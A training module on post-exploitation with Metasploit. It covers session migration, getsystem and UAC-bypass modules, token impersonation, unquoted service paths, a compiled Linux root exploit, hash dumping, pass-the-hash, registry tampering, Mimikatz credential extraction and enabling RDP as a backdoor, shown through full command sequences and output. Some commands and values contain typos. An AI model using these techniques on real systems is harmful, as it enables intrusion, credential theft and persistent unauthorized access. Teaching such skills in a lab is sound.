Privilege Escalation and Maintaining Access
6.2. Privilege Escalation and Maintaining Access
The first task is to perform Privilege Escalation and Maintaining Access.
Before actually seeing the attack methods and techniques that we can use in this phase, let's shine some light on what we mean with privilege escalation, what types of privilege escalation exist and what local exploits are (we introduced them in the previous module)
6.2.1. Privilege Escalation
Privilege Escalation is an attack that exploits OS or third-party software vulnerabilities (bugs, design flaws, etc.) in order to elevate the current access (privileges) to protected resources.
In other words, the attacker is able to gain unauthorized access to resources that (s)he is not supposed to access.
Types of Privilege Escalation:
Vertical The attacker is able to move from a lower-privileged user to a higher privileged user. For example from a low-end user to administration or root user.
Example: On a Linux OS, the attacker is able to escalate privileges from a user (i.e. applications) and gain root privileges
Horizontal The attacker keeps the same set or level of privileges, but assumes the identity of a different user (he/she does not gain any further privilege)
Example: On a Windows OS, the attacker is able to assume the identity on any other Standard User on the system. The attacker is not escalating privileges from a Standard User to an Administrator User.
Local Exploit
In the previous module, we explained client-side and remote exploits, but also introduced local exploits. Now let's see what these exploits are.
Different from the other two, local exploits require prior access on the target system. Their goal is to exploit operating systems or applications vulnerabilities in order to increase privileges on the target machine.
Now that we know more about privilege escalation and local exploit, let us go back to our pen-testing process. The purpose of this phase is to provide and secure access to the target machine with the highest privilege on the machine. In the next steps, we will assume to already have a shell or a meterpreter session on our target.
To get some basic information on the current meterpreter session, we can run sysinfo
command. Let's run it and see what we get.
As you can see, we can read about the computer name (ELS
), the current OS running on the exploited machine (Windows), its architecture (x64
), domain name (workgroup
), and also the architecture of the current meterpreter session process (x86/win32
) meterpreter > sysinfo Computer : ELS OS : Windows 7 (Build 7601, Service Pack 1) Architecture : x64 (Current Process is WOW64) System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/win32
As you can imagine, there are many other commands and tools that we can use to get similar or more detailed information. For example, when dealing with a Windows machine we may want to run systeminfo
, while on Linux machine we have plenty of commands to use: lsb_release
, uname
, lscpu
, and more.
We will inspect these later on, once we get a stable and persistent connection to the exploited machine.
Once we know the type of machine we are dealing with, we can thinking about our maintaining access activities. In this phase we will make sure that our session is: - Stable (does not get dropped) - Privileged (can run with high privileges) - Persistent (through reboots)
6.2.1.1 Stable
One of the main issues when you get a meterpreter session on the target, is that the end user can kill the exploited process. It can happen, for example, when you exploit a client-side vulnerability through the web browser and the user just closes the web browser window.
To avoid losing the session on the target, one of the first tasks to perform is to migrate the session to another process.
Helpful commands Before seeing the migrate command, it is useful to know that giving help
command in meterpreter, or simply typing ?
and hitting enter, will list all commands and options.
Moreover, we have very useful meterpreter scripts that we can execute during this phase of our penetration test. We can list them by typing run
and then pressing Tab
twice.
Back to our goal of making our session stable. To let Metasploit automatically migrate to another process, you can use the following command (on Windows machine):
run post/windows/manage/migrate
Example: ``` meterpreter > getpid Current pid: 2168 meterpreter > run post/windows/manage/migrate
[*] Running module against ELS
[*] Current server process: win10.exe (2168)
[*] Migrating to 1564
[*] Successfully migrated to process 1564
meterpreter > getpid
Current pid: 1564
meterpreter >
```
As you can see, the meterpreter script automatically migrated to another process. It is important to know that the process on which it will migrate will always be a process with the same privileges as the current session and that the process name is notepad.txt
.
If we want to see the list of all process running on the machine we can execute the ps
command (even if it is a Windows machine)
Tip: Although the previous command works just fine, we can directly run migrate
in the meterpreter session. This time however, we have to provide the process ID or the process name we want to migrate to.
It will not automatically create and migrate to a new process.
```
meterpreter > migrate -h
Usage: migrate <<pid> | -P <pid> | -N <name>> [-t timeout]
Migrates the server instance to another process.
NOTE: Any open channels or other dynamic state will be lost.
```
6.2.1.2. Privilege Escalation
Once we have migrated our session, we can start our Post-Exploitation process. We will first want to make our access to the remote host persistent, in order to come back any time and have access to the machine.
However, most of the operations required to achieve a persistent access, also require our shell to run with the highest privileges.
Types of Privilege Escalation Based on its OS:
Windows Privilege Escalation The easiest and fastest way to get higher privileges is by running
getsystem
within meterpreter. It will automatically find the best technique to elevate privileges.By default, the
getsystem
tries all available techniques to escalate privileges. If a technique fails, it w ill try the next one until one of the available techniques works.If you want to run a specific technique, simply use the
-t
option as follow:getsystem -t 1
Important: Notice that depending on the current privileges on the machine, the
getsystem
command may fail. For example, if you use this technique on systems with User Account Control (UAC) enabled (Windows Vista+), it would not work as well as systems like Windows XP.We need to use other techniques to get past this protection and then be able to successfully obtain system privileges. Moreover, you should be aware that `getsystem` works only against Windows OS. For different OS, you will have to rely on different Metasploit modules. If you want to know which modules Metasploit offers, you can navigate the `exploit/[OS]/local` path. We will see some of them later in the module.
When UAC is enabled on the remote system,
bypassuac
is one of the modules we can use to bypass it. First of all, we can verify if UAC is enabled by running the modulepost/windows/gather/win_privs
.If in the result the *UAC Enabled* column is set to true, it means that the remote system has the UAC enabled. As we can see in the following snapshot, UAC is enabled and we do not have Admin or System privilege on the machine. This means that running `getsystem` will most likely fail. ``` meterpreter > run post/windows/gather/win_privs Current User ============ Is Admin Is System UAC Enabled Foreground ID UID -------- --------- ----------- ------------- --- False False True 1 "els\\els" Windows Privileges ================== Name ---- SeChangeNotifyPrivilege SeShutdownPrivilege SeUndockPrivilege ``` What we can do then is use some of the modules offered by Metasploit to bypass the UAC protection mechanism. We can list them by simply searching the string `bypassuac`: ``` msf exploit(handler) > search bypassuac Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/local/bypassuac 2010-12-31 excellent Windows Escalate UAC Protection exploit/windows/local/bypassuac_injection 2010-12-31 excellent Windows Escalate UAC Protection exploit/windows/local/bypassuac_vbs 2015-08-22 excellent Windows Escalate UAC Protection ``` The steps we will have to do are very easy: 1. Select the `bypassuac_vbc` module, since it is the newest module 2. Set the session ID on which the module will be executed 3. Run the module If the module completes, we will get a new meterpreter session with highest privileges. Remember that this is a bypass, so UAC will still be enabled on the target. The following summarized the step: ``` msf exploit(handler) > user exploit/windows/local/bypassuac_vbs msf exploit(bypassuac_vbs) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 6 meterpreter x86/win32 elsels @ELS 192.168.102.147:4455 -> 192.168.102.157:1039 (192.168.102.157) msf exploit(bypassuac_vbs) > set SESSION 6 SESSION => 6 msf exploit(bypassuac_vbs) > exploit ``` If the exploit succeed, we will obtain a new meterpreter session that has higher privileges on the machine. As we can see, running `win_priv` prints out we are Admin on it. ``` meterpreter > run post/windows/gather/win_privs Current User ============ Is Admin Is System UAC Enabled Foreground ID UID -------- --------- ----------- ------------- --- True False True 1 "els\\els" ``` We now have administrator privileges on the machine, but we do not yet have the highest privileges on the machine. What we can do is run `getsystem` once again in this new meterpreter session. This time it will work. ``` meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : ELS OS : Windows 7 (Build 7601, Service Pack 1) Architecture : x64 (Current Process is WOW64) System Language : en_US Domain : WORKGROUP ``` **Incognito** A very powerful Meterpreter extension that we can use in this phase is [Incognito][https://www.gracefulsecurity.com/privesc-stealing-windows-access-tokens-incognito/]. It was a standalone tool used to demonstrate security issues affecting [Windows tokens][https://technet.microsoft.com/en-us/library/cc759267(v=ws.10).aspx], but due to its functionality and features, it has been integrated in Metasploit. Thanks to incognito, we can impersonate other valid user tokens on that machine and became that user. The best thing is that we do not need to know or crack passwords to do this. As you can imagine, being able to switch from one user to another gives us the possibility to access different local or domain resources. Loading incognito is very simple. Once we have a meterpreter session (better with system privileges), we can run the following command to load the incognito extension ``` meterpreter > use incognito Loading extension incognito...success. Incognito Commands ================== Command Description ------- ----------- add_group_user Attempt to add a user to a global group with all tokens add_localgroup_user Attempt to add a user to a local group with all tokens add_user Attempt to add a user with all tokens impersonate_token Impersonate specified token list_tokens List tokens available under current user context snarf_hashes Snarf challenge/response hashes for every token ``` Now we can list all available tokens with `list_tokens` or impersonate other user with `impersonate_token`: ``` meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > list_tokens -u Delegation Tokens Available ================================================ els\els els\user NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM Impersonate Tokens Available ================================================ NT AUTHORITY\ANONYMOUS LOGON ``` **Unquoted Service Paths** [Unquoted Service Paths][https://cwe.mitre.org/data/definitions/428.html] are another method we can use for either persistence on a Windows target, or for escalating our privileges, depending on the circumstance. With Unquoted Service Paths vulnerabilities, we are able tot abuse the way that Windows searches for executables belonging to a service. In many cases, we can abuse this "search order" to obtain persistence to a system as the currently logged-on user, or escalate our privileges to SYSTEM. This issues arises when a Windows service has been configured with a path to a service binary which is unquoted (i.e. `C:\Users` instead of `"C:\Users"`), and additionally contains spaces in its path. When the path to the service binary is unquoted, as in the example service below, Windows will search for the service executable in the following order (i.e. : `C:\Program Files (x86)\Canon\IJ Scan Utility\SETEVENT.exe`): 1. `C:\Program.exe` 2. `C:\Program Files (x86)\Canon\IJ.exe` 3. `C:\Program Files (x86)\Canon\IJ Scan Utility\SETEVENT.exe` this gives us two options in regard to an executable we can drop, and in which directory. In this case `C:\Program.exe` and `C:\Program Files (x86)\Canon\IJ.exe` Now, assuming that our current user would have the necessary permissions to write to the `C:\root`, or the Program Files `Canon` directory, we could place our own `Program.exe` or `IJ.exe` files respectively, and when the service starts, it would launch our executable, rather than the original `SETEVENT.exe` executable. Since the affected service runs a SYSTEM, we could have a SYSTEM shell in the case the system were to be rebooted, or the affected service restarted; In an example where our payload executable initiates a reverse TCP shell for instance. There are several different ways we can check for the existence of Unquoted Service Paths. We can do it either manually, or using third-party scripts or tools. One thing we can do is use the WMI Command line tool ([wmic][https://msdn.microsoft.com/en-us/library/aa394531(v=vs.85).aspx]) to query for all services and paths, specially searching for unquoted paths with the following command line: ``` C:\> wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |finder /i /v """ ``` We can also use the `sc` ([Service Control][https://ss64.com/nt/sc.html]) command with the `qc` (Show Config) option to query a specific service, and manually check for an unquoted path: ``` C:\>sc qc CIJSRegister [SC] QueryServiceIconConfig SUCCESS SERVICE_NAME: CIJSRegister TYPE : 10 WIN12 OWN PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\Canon\IJ Scan Utility\SETEVENT.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Canon IJ Scan Utility register event DEPENDENCIES : SERVICE_START_NAME : LocalSystem ``` Metasploit also contains a module we can use to automatically exploit Unquoted Path-vulnerable instances of services as well. ``` msf> use exploit/windows/local/trusted_service_path ``` (See Video-64) (See Video-63)
Linux Privilege Escalation Until now, we focus our privilege escalation activities on Windows OS. In the next slides, we will see how to achieve the same goals against Linux machines.
Once again, we suppose that we already exploited the target machine and that we already have a shell or a session on it.
Although Metasploit offers some privilege escalation modules for Linux OS, the best way to proceed is by getting information about the current OS and then searching for publicly available exploits.
Notice that privilege escalation exploits are very OS specific, so information about the OS and the applications installed on the machine may results in very useful information to narrow down your search.
Let's see an example of how we can escalate privileges on the following Linux machine. We already have a meterpreter session on it and we need to know more information about the OS running on it.
meterpreter > sysinfo Computer : ubuntu OS : Linux ubuntu 3.16.0-30-generic #40-14.04.1-Ubuntu SMP Thru Jan Architecture : i686 Meterpreter : x86/linux meterpreter > getuid Server username: uid=1000, gid=1000, euid=1000, suid=1000, sgid=1000 meterpreter > run post/linux/gather/enum_system [+] Info: [+] Ubuntu 14.04.2 LTS [+] Linux ubuntu 3.16.0-30-generic #40-14.04.1-Ubuntu SMP Thru Jan 15 [+] Module running as "els" user
From the previous snapshot, we can see that we have access to a Linux Ubuntu 14.04.2 LTS (32bit) machine. Moreover we can see we are actually running under the user named
els
.Our goal is to obtain highest privileges on the machine, which in this case means getting access as root. The most basic thing we can do is searching online for publicly available privilege escalation exploit.
If we check our OS with + the keyword
privilege escalation
, there seems to be something available for our current system.Most of the time, you will find the source code of the exploit and you will have to compile it.
If the remote machine has everything you need you can compile the exploit directly on the target, otherwise you will have to compile it on your own machine. In the latter case, be aware to use the correct configuration and select the right architecture.
Compile on the target Let us suppose the target machine has everything we need, in other words,
gcc
is installed and we can compile the file. What we can do is upload the source file on the target, get a shell on it through meterpreter and then compile the exploit.In order to upload the file, we just need to use the upload command that meterpreter already implements. We need to provide the local path of the exploit and then the remote path, where to upload the file: ``` meterpreter > upload /home/stduser/Downloads/37292.c [*] uploading : /home/stduser/Downloads/37292.c -> . [*] uploaded : /home/stduser/Downloads/37292.c -> ./37292.c meterpreter > ls Listing: /home/els/Documents ============================ Mode Size Type Last Modified Name ---- ---- ---- ------------- ---- 100664/rw-rw-r-- 5123 fil 2016-02-24 12:05:21 -0500 37292.c ``` Now let's get a terminal session with the `shell` command and then compile the source with `gcc`. The compiled exploit will be named exploit. ``` meterpreter > shell Process 6010 created Channel 1 created. $ ls 37292.c $ gcc 37292.c -o exploit $ ls -l total 20 -rw-rw-r-- 1 els els 5123 Feb 24 09:05 37292.c -rw-rwxr-x 1 els els 12149 Feb 24 09:07 exploit ``` The last step now is to run the exploit. We simply do this with the following command : `$ ./exploit` As we can see, we are now running as root.
Compile on Our Machine Supposing the target machine does not have
gcc
, we cannot compile the exploit there and we have to do it locally.Since the 2 machines are a bit different (our OS is 64-bit and the target is 32-bit), we need to set `gcc` parameters accordingly. Notice that installing all the required packages is outside the scope of this course, but you can find many resources online. The following is our machine architecture: `Linux els 4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) x86_64 GNU/Linux` In order to compile the exploit we will use the following command: ``` stduser@els:~/lin_exp$ gcc -m32 -o linux_priv_esc 37292.c stduser@els:~/lin_exp$ ls 37292.c linux_priv_esc stduser@els:~/lin_exp$ ``` Now that we have the compiled version of the exploit, we can upload it via meterpreter with the `upload` command. ``` meterpreter > upload /home/stduser/lin_exp/linux_priv_esc [*] uploading : /home/stduser/lin_exp/linux_priv_esc -> . [*] uploaded : /home/stduser/lin_exp/linux_priv_esc -> ./linux_priv_esc meterpreter > ls Listing: /home/els/Documents ============================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100664/rw-rw-r-- 9060 fil 2016-02-25 05:14:18 -0500 linux_priv_esc ``` As we can see in the previous output, we also need to change the permission on the file and make it executable. We will spawn a shell on the machine and run everything from there. ``` meterpreter > shell Process 6440 created. Channel 1 created. $ chmod +x linux_priv_esc $ whoami els $ ./linux_priv_esc spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library # whoami root # ```
What we have seen so far are privilege escalation techniques that exploit some kind of vulnerability in OS implementations, but there are other different ways we can get higher privileges on the machine.
For example we may try to gather, dump or crack credentials related to administrators or root accounts.
Another way to escalate privileges can be achieved by exploring permissions on process running on the machine. If there are services or processes running with higher privileges, there may be the possibility to inject malicious code in one of them and then be able to run commands or write data on the system with their privileges.
Moreover, instead of injecting code directly in the application, you may also be able to escalate privileges by replacing files like DLLs or executables. This may happen if you have the right to write or edit files used by a service or process. You can replace these with your own version of the file and force the application to re-run and execute your code.
Think about a service that is running with system privileges and its executable is stored in a folder on which we have write permissions.
We can use
msfvenom
to create your payload (or inject it with tools likeShellter
,BDF
, and so on). After that we can replace the file with the one just created and force the service to start (for example with DoS attacks).
6.2.1.3. Maintenance Access
So far we focused on how to escalate privileges on a compromised machine. Once we have higher privileges, we can move on to the next step: Maintaining Access
The purpose of this phase is to make our presence on the machine persistent - creating a backdoor readily available for later use.
We can use different techniques and tools to achieve this goal. Some are stealthier than others and some are only relevant to a particular OS.
We will study a few different methods to use during this phase, but remember that you can always improve and tweak them to your needs.
The following diagram summarizes the techniques we are going to use (see img-86):
Maintaining Access
______________|______________
| | |
Password Hash Backdoor New Users
__________|___________ |
| | |
Pass the Hash Crack the Hash |
| | |
Services Such as RDP, VNC, Telnet ...
As you probably noticed, some of the techniques (such as RDP or VNC) require services for the connection. Before we start exploring them, note that there are different situations that you can face. For example: - Services are already active and we need credentials to establish connection - No services are in place: we need to activate them - For new users, we need to add them for each service (if they are already active, otherwise we have to activate them)
Let us start with one of the easiest techniques: recovering the password hash
Password Hash We are assuming that we already have a meterpreter session on the target machine (Windows 8.1) and that the session is running with the highest privileges (
SYSTEM
)
The easiest way to dump the hashes from the [SAM Database][https://technet.microsoft.com/en-us/library/cc756748(v=ws.10).aspx] is by running the command run hashdump
: ``` meterpreter > run hashdump [] Obtaining the boot key... [] Calculating the hboot key using SYSKEY e9611aec85bc393d8a603ad3a7528e52 [] Obtaining the user list and keys.. [] Decrypting user keys... [*] Dumping password hints...
No user with password hints on this system
[*] Dumping password hashes..
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d13ae931b73c59d7e0c089c0:::
els:501:aad3b435b51404eeaad3b435b51404ee:d9e6bffa796d2688ac52a49b74132a4f:::
Guest:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16cfe0d16ae931b73c59d7e0c089c0:::
```
As you have noticed we recovered all accounts and password hashes from the target machine (Windows 8.1) by running as `SYSTEM`.
Notice that depending on the OS version, we may be able to gather this information with even lower privileges, such as administrator accounts.
In the following screenshot, we can see that running the same command with administrative privileges does not work.
Indeed we get `Access denied` error.
```
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY a6e1086fb186a10be86a80....
[-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_open_key: Operation failed: Access is denied
[-] This script requires the use of a SYSTEM user context (hint: migrate service process)
```
As metasploit suggests, we can try to migrate to a service process and re-run the command.
Note that if you try running `hashdump` directly, sometimes you may get the message `priv_passwd_get_sam_hashes: Operation failed:The parameter is incorrect`.
This happens even with `NT_AUTHORITY\SYSTEM` privileges:
```
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
To bypass this error you have 2 options:
1. Execute `run hashdump`; or
2. Migrate to different process
Now that we have password hashes we can move in two different directions. Let's see the first one:
Pass the Hash If we are not able to crack the hashes, we have to uses other techniques to ensure access on the target machine.
Pass the hash is a technique that allows us to connect to a remote machine, by the means of the hash without using the actual plain-text password. This technique can be used to connect back into the exploited machine, or to exploit other machines that share the same account credentials.
Pass the hash is a technique discovered and [published][http://www.securityfocus.com/bid/233/discuss] in 1997 by Paul Ashton that allows an attacker to use LM and NTLM hashes to authenticate to a remote host.
As you can imagine, if we are to gather administrator hashes, we can mount a pass the hash attack on all the machine in the network. This is dangerous since the same accounts (username and password_hash) can be used on multiple machines.
There are different tools and scripts freely available online that we can use to exploit this vulnerability. What we are going to use in the next slide is a Metasploit module called
psexec
, that given a username and a password (or its hash), is able to execute an arbitrary payload.Let us see how to use the previous gathered hashes in order to obtain a shell on the remote system.
The Metasploit module we are going to use is stored at the following path:
use exploit/windows/smbpsexec
Once selected, we will just need to set the password hash (
SMBPass
) the username (SMBUser
), the remote host IP address (RHOST
) and then configure the payload options.Notice that the attack only works if we use an administrator account. Let's once again get the password hashes from the session that we already have on the password hashes from the session that we already have on the target machine and let's copy the username and password hash.
meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d13ae931b73c59d7e0c089c0::: els:501:aad3b435b51404eeaad3b435b51404ee:d9e6bffa796d2688ac52a49b74132a4f::: Guest:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16cfe0d16ae931b73c59d7e0c089c0:::
Our username will be
els
while the password hash is:aad3b435b51404eeaad3b435b51404ee:d9e6bffa796d2688ac52a49b74132a4f
Now we can configure the
psexec
module as follows and run the attack:msf exploit(psexec) > set SMBPASS aad3b435b51404eeaad3b435b51404ee:d9e6bffa796d2688ac52a49b74132a4f SMBPASS => aad3b435b51404eeaad3b435b51404ee:d9e6bffa796d2688ac52a49b74132a4f msf exploit(psexec) > set SMBUSER els SMBUSER => els msf exploit(psexec) > set RHSOT 192.168.102.155 RHOST => 192.168.102.155 msf exploit(psexec) > exploit
If the attack works, we should be able to obtain a new meterpreter session:
msf exploit(psexec) > exploit [*] Started reverse TCP handler on 1912.168.102.147:4444 [*] Connecting to the server... [*] Authenticating to 192.168.102.155:445 as user 'els'... [*] Selecting PowerShell target [*] 192.168.102.155:445 - Executing the payload... [+] 192.168.102.155:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (957487 bytes) to 192.168.102.155 [*] Meterpreter session 3 opened (192.168.102.147:4444 -> 192.168.102.155:49167) at 2016-02-25 10:54:24 -0500 meterpreter > sysinfo Computer : WIN-K75TDEUEPA5 OS : Windows 8.1 (Build 9600) Architecture : x64 (Current Process is WOW64) System Language : en_US Domain : WORKGROUP
Sometimes being in the local administrators group is not enough to pass-the-hash, and depending on the Windows OS system configuration and version, come changes may be required on the target system in order for this to work.
The issue typically presents itself when trying to pass-the-hash from an account which isn't an "actual" administrator (RID-500), but rather, from an account that is in the Administrators group.
For example, if we try the psexec module from a session where our current user is in the Administrator group, but not an "actual" Administrator, and we get a
STATUS_ACCESS_DENIED
(Command=117 WordCount=0) error, this is a good indication that registry changes may be required on the target host in order for a successful pass-the-hash attack.msf exploit(psexec) > exploit [*] Started reverse TCP handler on 1912.168.102.147:4444 [*] Connecting to the server... [*] Authenticating to 192.168.102.155:445 as user 'els'... [-] Exploit failed [no-access]: Rex:Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)
The two registry entries needed on the target for this to be successful are: -
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Add a new DWORD (32-bit) named LocalAccountTokenFilterPolicy and set its value to 1 -HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters
Add a new DWORD (32-bit) named RequireSecuritySignature and set its value to 0Nonetheless, if we already have a session on the target as an administrator, and would like to "modify" those registry settings to help us with the attack, we can do so with a couple simple powershell one-liners from a Powershell shell:
PS> Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LocalAccountTokenFitlerPolicy -Value 1 -Type DWord
PS> Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\LanManServer\Parameters -Name LocalAccountTokenFitlerPolicy -Value 1 -Type DWord
Alternatively, we could use the "[reg][https://ss64.com/nt/reg.html]" command to accomplish the same:
C:\ reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" \v LocalAccountTokenFilterPolicy /t REG_WORD /d 1 /f
C:\> reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters" \v RequireSecuritySignature /t REG_WORD /d 0 /f
The previous registry changes, particularly the "LocalAccountTokenFilterPolicy" setting, essentially allow non RID-500 user accounts (users in the local administrator group for instance) to successfully pass-the-hash in some cases.
More in-depth information these quirks in regard to passing the hash on more current versions of Microsoft OS can be found [here][https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/]
In addition to the traditional methods of pass-the-hash techniques, if we find ourselves in a situation where we have obtained an NTLM hash, and would like to use it to log onto a Remote Desktop service without the need to provide actual credentials, we can do that with RDP client available for Linux known as
xfreerdp
, and comes preinstalled on Kali Linux.Using the `/pth` switch and xfreedp, we can pass an NTLM hash to a remote desktop server with the following command: ``` # xfreerdp /u:admin /d:foocorp /pth: 9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41 /v:172.16.22.119 ```
Crack the Hash Once we dump the hashes, we can try to crack them and obtain passwords that are used to login on active services running on your target machine.
Here we will not deal with password cracking, since it is covered more in depth in the System Security Section.
Mimikatz Before seeing how to work with services and users, it is important to know that we may be able to retrieve plaintext password from the exploited machine, thanks to [Mimikatz][https://github.com/gentilkiwi/mimikatz]
Mimikatz is a tool able to extract plaintext password, Kerberos tickets, perform pass-the-hash attacks and much more.
Although it is a stand-alone tool, Metasploit implements an extension that allows us to use its feature directly from the Meterpreter session.
We will briefly see it here in order to gather credentials and then we will inspect it more in detail later in this module.
In order to start using mimikatz and get the best out of it, it is important to have the current meterpreter session running on a 64-bit process. This allows it to successfully load all mimikatz features without any issues.
We have already seen how to check the current meterpreter architecture, but we will briefly recap it in the next section. We can verify this by running
sysinfo
:meterpreter > sysinfo Computer : ELS OS : Windows 7 (Build 760, Service Pack 1). Architecture : x64 (Current Process is WOW64) System Language : en_US Domain : WORKGROUP Logged On Users : 4 Meterpreter : x86/win32
As we can see, we are currently running meterpreter on a 32 bits process
We have to migrate into a 64 bit process. Moreover, we need a process with the same privileges of the current session. Since we are currently running on
SYSTEM
privileges, we can list them with the following command: ``` meterpreter > ps -A x86_64 -s Filtering on arch... Filtering on SYSTEM processes...Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 280 4 sms.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe 308 512 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe 360 348 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe ``` Description: - `-A` we specify the architecture - `-s` we list only SYSTEM process
Now we have to select one of the process listed and run
migrate [PID]
After that we will run on a 64-bits process and we will still have SYSTEM privileges on the machine.meterpreter > migrate 448 [*] Migrating from 1668 to 448... [*] Migration completed successfully. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : ELS OS : Windows 7 (Build 760, Service Pack 1). Architecture : x64 (Current Process is WOW64) System Language : en_US Domain : WORKGROUP Logged On Users : 4 Meterpreter : x86/win32
We can then load mimikatz and start using its feature to gather palintext credentials. The command are very simple: we first run
load mimikatz
and then we print the help manual to list the new commands available:meterpreter > load mimikatz Loading extension mimikatz...success.
``` Mimikatz Commands =================Command Description ------- ----------- kerberos Attempt to retrieve kerberos creds livessp Attempt to retrieve livessp creds mimikatz_command Run a custom command ```
As we can see from the commands listed, we can try to retrieve credentials from different services and protocols. Here we will try to retrieve the credentials with [wdigest][https://technet.microsoft.com/en-us/library/cc778868(v=ws.10).aspx]: ``` meterpreter > wdigest [+] Running as SYSTEM [*] Retrieving wdigest credentials wdigest credentials ===================
AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;999 NTLM WORKGROUP ELS$ 0;9997 Negotiate NT AUTHORITY LOCAL SERVICE 0;1576331 NTLM els user 0;996 Negotiate WORKGROUP ELS$ 0;47435 NTLM 0;1576312 NTLM els user 0;10194500 NTLM els user pwd 0;10194514 NTLM els user pwd 0;378812 NTLM els els pwdels 0;378766 NTLM els els pwdels ```
To get the best out of mimikatz, we suggest you read the tool wiki [here][https://github.com/gentilkiwi/mimikatz/wiki] and test its modules and commands. ``` meterpreter > mimikatz_command -f :: Module : '' introuvable
Modules disponibles : - Standard crypto - Cryptographie et certificats hash - Hash system - Gestion systeme process - Manipulation des processus thread - Manipulation des service - Manipulation des privilege - Manipulation des ```
As you will see, you can run many different tasks and operations that will reveal very useful information.
Windows Credentials Editor Another very useful tool that we can use in this step is [WCE][http://www.ampliasecurity.com/research/windows-credentials-editor/] (Windows Credentials Editor). Since it is a windows binary, you will have to upload it on the remote machine and then run it from the meterpreter session.
meterpreter > execute -i -f wce.exe -a -h Process 3628 created. Channel 4 created. WCE v1.42beta (x64) (Windows Credentials Editor) - (c) 2010-2013 Amplia Security - by Herman Och Use -h for help Options: -l List logon sessions and NTLM credentials (default). -s Changes NTLM credentials of current logon session. Parameters: <UserName>:<DomainName>:<LMHash>:<NTHash>. -r List logon sessions and NTLM credentials indefinitely. Refreshes every 5 seconds if new sessions are found. Optional: -r<refresh interval>. -c Run <cmd> in a new session with the specified NTLM credentials. Paramters: <cmd> -e Lists logons sessions NTLM credentials indefinitely.
We will not dig deeper into this tool, but as you can see from its help manual, it offers many options and commands to work with windows credentials, logon sessions, Kerberos, and so on.
We suggest you try it in a test environment in order to get familiar with it.
At this time we should have a set of working credentials. What we want to do now is to check if the RDP Service is active on the target, since we want to use it for backdoor access.
We already have a session on the remote machine and we can check enabled services by running the following command:
net start
Note: Remember that you can open a Windows command prompt from a Meterpreter shell by running the following command:
shell
Here is an example of what you can get with the
net start
command:C:\Windows\system32> net start net start These Windows services are started: Application Experience Application Information Background Intelligent Transfer Service Base Filtering Service ... Remote Desktop Configuration Remote Desktop Services Remote Desktop Services UserMode Port Redirector
Note: There are many different commands we can use to check if a specific service is enabled or not. For example we can use the Windows Management Instrumentation Command-line ([WMIC][https://msdn.microsoft.com/en-us/library/bb742610.aspx]) tool as follows:
wmic service where 'Caption like "Remote%" and started=true' get Caption Caption Remote Procedure Call (RPC) Remote Desktop Configuration Remote Desktop Services Remote Desktop Services UserMode Port Redirector
We can also use meterpreter scripts to check services, such as `service_manager` and `enum_services`: ``` run service_manager -1 ``` ``` run post/windows/gather/enum_services ``` Result: ``` [*] Listing Services Info for matching services, please wait... [+] New service credentials detected: AeLookupSvc is running as `` [+] New service credentials detected: ALG is running as 'NT AUTHORITY\LocalService' [+] New service credentials detected: aspnet_state is running as 'NT AUTHORITY\NetworkService' Services ======== Name Credentials Command Startup ---- ----------- ------- ------- ALD NT AUTHORITY\LocalService Manual C:\Windows\System32\alg.exe AeLookupSvc localSystem Manual C:\Windows\System32\svchost.exe ApoIDSvc NT Authority\LocalService Manual C:\Windows\System32\svchost.exe ```
Now that we know if RDP is enabled or not, let's suppose it is disabled and enabled it. Once again we can do it directly from a Windows shell or via meterpreter scripts. The script we are going to use is called
getgui
:meterpreter > run getgui -h Windows Remote Desktop Enabler Meterpreter Script Usage: getgui -u <username> -p <password> OPTIONS: -e Enable RDP only. -f <opt> Forward RDP Connection. -h Help menu. -p <opt> The Password of the user to add. -u <opt> The Username of the user to add.
As we can see from the previous output we can simply enable RDP with the
-e
option, but we can also add a new user and password with-p
and-u
